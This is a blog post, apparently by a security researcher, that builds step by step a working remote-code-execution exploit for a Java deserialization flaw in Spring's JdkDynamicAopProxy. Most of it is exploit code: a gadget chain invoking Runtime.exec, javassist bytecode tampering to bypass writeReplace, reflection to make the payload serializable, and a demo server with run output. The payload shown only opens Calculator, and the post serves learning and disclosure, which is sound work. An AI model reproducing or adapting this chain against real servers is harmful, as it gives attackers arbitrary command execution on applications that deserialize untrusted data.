This post is about an old RCE vulnerability in applications deserializing streams from untrusted sources and having Spring on their classpaths. I wrote an exploit for it some time ago to learn about this kind of serializing vulnerabilities and decided to make it public since I recently read an study by WhiteSource Software saying that this vulneravility is in the top 5 vulnerabilities that are more prevalent due to a lack of Open Source component update.
Note that to be vulnerable, you dont only need to have the vulnerable Spring libraries in your classpath, you need to be deserializing an stream from an untrusted source for example using RMI or Spring’s HttpInvoker.
Since I could not find any public exploit for it, I decided to go and write my very own one and learn something in the way. The Spring announcement doesnt give too many details, but fortunately Wouter Coekaerts (@WouterCoekaerts) who deserves all the credit for finding this awesome bug , gave us more details on his own site:
JdkDynamicAopProxy is used internally by the DefaultAopProxyFactory. It is an InvocationHandler , so it can be used with a java.lang.reflect.Proxy to dynamically handle method calls. Which object the proxy should delegate calls to, the target, can be configured in the JdkDynamicAopProxy with a TargetSource. Certain TargetSources can be configured to point to a bean in a BeanFactory, which can contain arbitrary code in the form of bean definitions. All of these objects (Proxy, JdkDynamicAopProxy, AbstractBeanFactoryBasedTargetSource, DefaultListableBeanFactory, AbstractBeanDefinition) are Serializable, and the Proxy can be configured to implement any interface the application might expect. That means an attacker can send them in the place of any object in a stream, and when the receiving application calls any method on the deserialized object, it will trigger the execution of the arbitrary code. A DefaultListableBeanFactory is under normal circumstances never included in a serialized stream. It has a writeReplace method that before it’s being serialized replaces it with a SerializedBeanFactoryReference; a reference to an already existing bean factory. But it’s only the serialization that is prevented (at the attacker’s side, where it’s easily overridden), not the deserialization.
This somehow difficult to understand so lets analyze it while building our exploit:
First of all we need to understand what a Dynamic Proxy is. For the moment, it will be sufficient to say that a proxy can be defined for any Java interface so any calls to the interface can be intercepted and proxified by the proxy. An InvocationHandler has to be configured for the proxy and it will handle all intercepted calls.
Spring’s DefaultAopProxyFactory has a static method createAopProxy that returns an InvocationHandler with a given AOP configuration. This configuration is provided as an AdvicedSupport where we can basically choose if we want the factory to return a Dynamic or a CGLIB proxy and set the TargetSource. A TargetSource is used to obtain the current “target” of an AOP invocation, thats it, to point to who is going to really handle the interface method invocation.
We will be using a TargetSource configured with a BeanFactory, so any hooked calls will be handle by a brand new Bean returned by our bean factory. So far the code looks like:
// AbstractBeanFactoryBasedTargetSource
System.out.println("[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");
SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();
targetSource.setTargetBeanName("exploit");
targetSource.setBeanFactory(beanFactory);
// JdkDynamicAopProxy (invocationhandler)
System.out.println("[+] Creating the handler and configuring the target source pointing to our malicious bean factory");
AdvisedSupport config = new AdvisedSupport();
config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy
config.setTargetSource(targetSource);
DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();
InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);
// Proxy
System.out.println("[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");
Contact proxy = (Contact) Proxy.newProxyInstance(Contact.class.getClassLoader(), new Class<?>[] { Contact.class }, handler);
beanFactory hasnt been created yet, so all we need to do now is creating a BeanFactory that returns “exploit” beans that when instantiated, will execute any arbitrary command.
First we will set up a bean created with a factory method (instead of using the constructor) that will return a java.lang.Runtime instance when the Factory instantiates the Bean.
GenericBeanDefinition runtime = new GenericBeanDefinition();
runtime.setBeanClass(Runtime.class);
runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static
Now, we need to execute exec with our payload as an argument. We cannot use a FactoryMethod for that since it takes no arguments, so we will be using a MethodInvokingFactoryBean. This FactoryBean will return a value which is the result of a static or instance method invocation. So the idea here is that we will define this FactoryBean as the bean handling our proxy invocations, so when the TargetSource needs a new bean to handle the hooked call it will instantiate our MethodInvokingFactory that will create the new bean by executing our payload. So in the end we will be returning a java.lang.UNIXProcess (returned by the Runtime execution) as the class to handle the proxy call. This will fail since the server will try to cast it to the class it was expecting and normally its not a process ;)
// Exploit bean to be registered in the bean factory as the target source
GenericBeanDefinition payload = new GenericBeanDefinition();
payload.setBeanClass(MethodInvokingFactoryBean.class);
payload.setScope("prototype");
payload.getPropertyValues().add("targetObject", runtime);
payload.getPropertyValues().add("targetMethod", "exec");
payload.getPropertyValues().add("arguments", Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));
Ok, so we only need to create a bean factory and register our payload bean as the “exploit” bean that our TargetSource is going to instantiate. The only problem is that although a DefaultListableBeanFactory is serializable, it contains a writeReplace() method that will replace the factory with a reference when serialized. If the server doesnt know the serialized reference, then our deserialization will fail. In order to bypass this limitiation, we will be modifying the DefaultListableBeanFactory bytecode using javaassist to remove the writeReplace() method (well, actually rename it):
// Get a DefaultListableBeanFactory modified so it has no writeReplace() method
// We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a "attempted duplicate class definition for name" exception
System.out.println("[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");
Object instrumentedFactory = null;
ClassPool pool = ClassPool.getDefault();
try {
pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader()));
CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
// Call setSerialVersionUID before modifying a class to maintain serialization compatability.
SerialVersionUID.setSerialVersionUID(instrumentedClass);
CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
//method.insertBefore("{ System.out.println(\"TESTING\"); }");
method.setName("writeReplaceDisabled");
Class instrumentedFactoryClass = instrumentedClass.toClass();
instrumentedFactory = instrumentedFactoryClass.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
// Modified BeanFactory
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;
beanFactory.registerBeanDefinition("exploit", payload);
So far so good, now if we try to serialize the factory we will be getting errors since although a bean factory is Serializable, it contains members that are not serializable :$ Fortunately for us, these members can be nullified without affecting the bean generation. We will be using Java reflection to nullify them:
// Preparing BeanFactory to be serialized
System.out.println("[+] Preparing BeanFactory to be serialized");
System.out.println("[+] Nullifying non-serializable members");
try {
Field constructorArgumentValues = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
constructorArgumentValues.setAccessible(true);
constructorArgumentValues.set(payload,null);
System.out.println("[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues());
Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
methodOverrides.setAccessible(true);
methodOverrides.set(payload,null);
System.out.println("[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides());
Field constructorArgumentValues2 = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
constructorArgumentValues2.setAccessible(true);
constructorArgumentValues2.set(runtime,null);
System.out.println("[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues());
Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
methodOverrides2.setAccessible(true);
methodOverrides2.set(runtime,null);
System.out.println("[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides());
Field autowireCandidateResolver = DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver");
autowireCandidateResolver.setAccessible(true);
autowireCandidateResolver.set(beanFactory,null);
System.out.println("[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver());
} catch(Exception i) {
i.printStackTrace();
System.exit(-1);
}
Now, everything is ready to serialize our malicious proxy for a class that the victim server is expecting, in our example it will be the Contact class:
// Now lets serialize the proxy
System.out.println("[+] Serializating malicious proxy");
try {
FileOutputStream fileOut = new FileOutputStream("proxy.ser");
ObjectOutputStream outStream = new ObjectOutputStream(fileOut);
outStream.writeObject(proxy);
outStream.close();
fileOut.close();
} catch(IOException i) {
i.printStackTrace();
}
System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());
Lets run the exploit to generate the serialized version of our malicious proxy:
[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method
[+] Creating malicious bean definition programatically
[+] Preparing BeanFactory to be serialized
[+] Nullifying non-serializable members
[+] payload BeanDefinition constructorArgumentValues property should be null: null
[+] payload BeanDefinition methodOverrides property should be null: null
[+] runtime BeanDefinition constructorArgumentValues property should be null: null
[+] runtime BeanDefinition methodOverrides property should be null: null
[+] BeanFactory autowireCandidateResolver property should be null: null
[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory
[+] Creating the handler and configuring the target source pointing to our malicious bean factory
[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler
[+] Serializating malicious proxy
[+] Successfully serialized: com.sun.proxy.$Proxy0
To prove it works we will write a dumb server that deserialize our stream and cast it to the Contact class:
package com.company;
import com.company.model.Contact;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
public class SerializationServer {
public static void main (String[] args) {
try {
FileInputStream fileIn =new FileInputStream("proxy.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Contact contact = (Contact) in.readObject();
System.out.println("[+] Running method in deserialized object");
System.out.println("[+] Payload: " + contact.getName());
in.close();
fileIn.close();
} catch(IOException i) {
i.printStackTrace();
System.exit(-1);
} catch (ClassNotFoundException c) {
System.out.println("Class not found");
c.printStackTrace();
System.exit(-1);
}
}
}
Lets run it:
[+] Running method in deserialized object
Exception in thread "main" org.springframework.aop.AopInvocationException: AOP configuration seems to be invalid: tried calling method [public abstract java.lang.String com.company.model.Contact.getName()] on target [java.lang.UNIXProcess@728f5352]; nested exception is java.lang.IllegalArgumentException: object is not an instance of declaring class
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:317)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:196)
at com.sun.proxy.$Proxy0.getName(Unknown Source)
at com.company.SerializationServer.main(SerializationServer.java:17)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at com.intellij.rt.execution.application.AppMain.main(AppMain.java:120)
Caused by: java.lang.IllegalArgumentException: object is not an instance of declaring class
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:309)
... 8 more
As we were expecting the server crashed since our proxy returns a java.lang.UNIXProcess and the server was expecting a Contact, but it will be already too late since our malicious calcluator is running on the background:
Voila!!
You can find the full exploit code in github.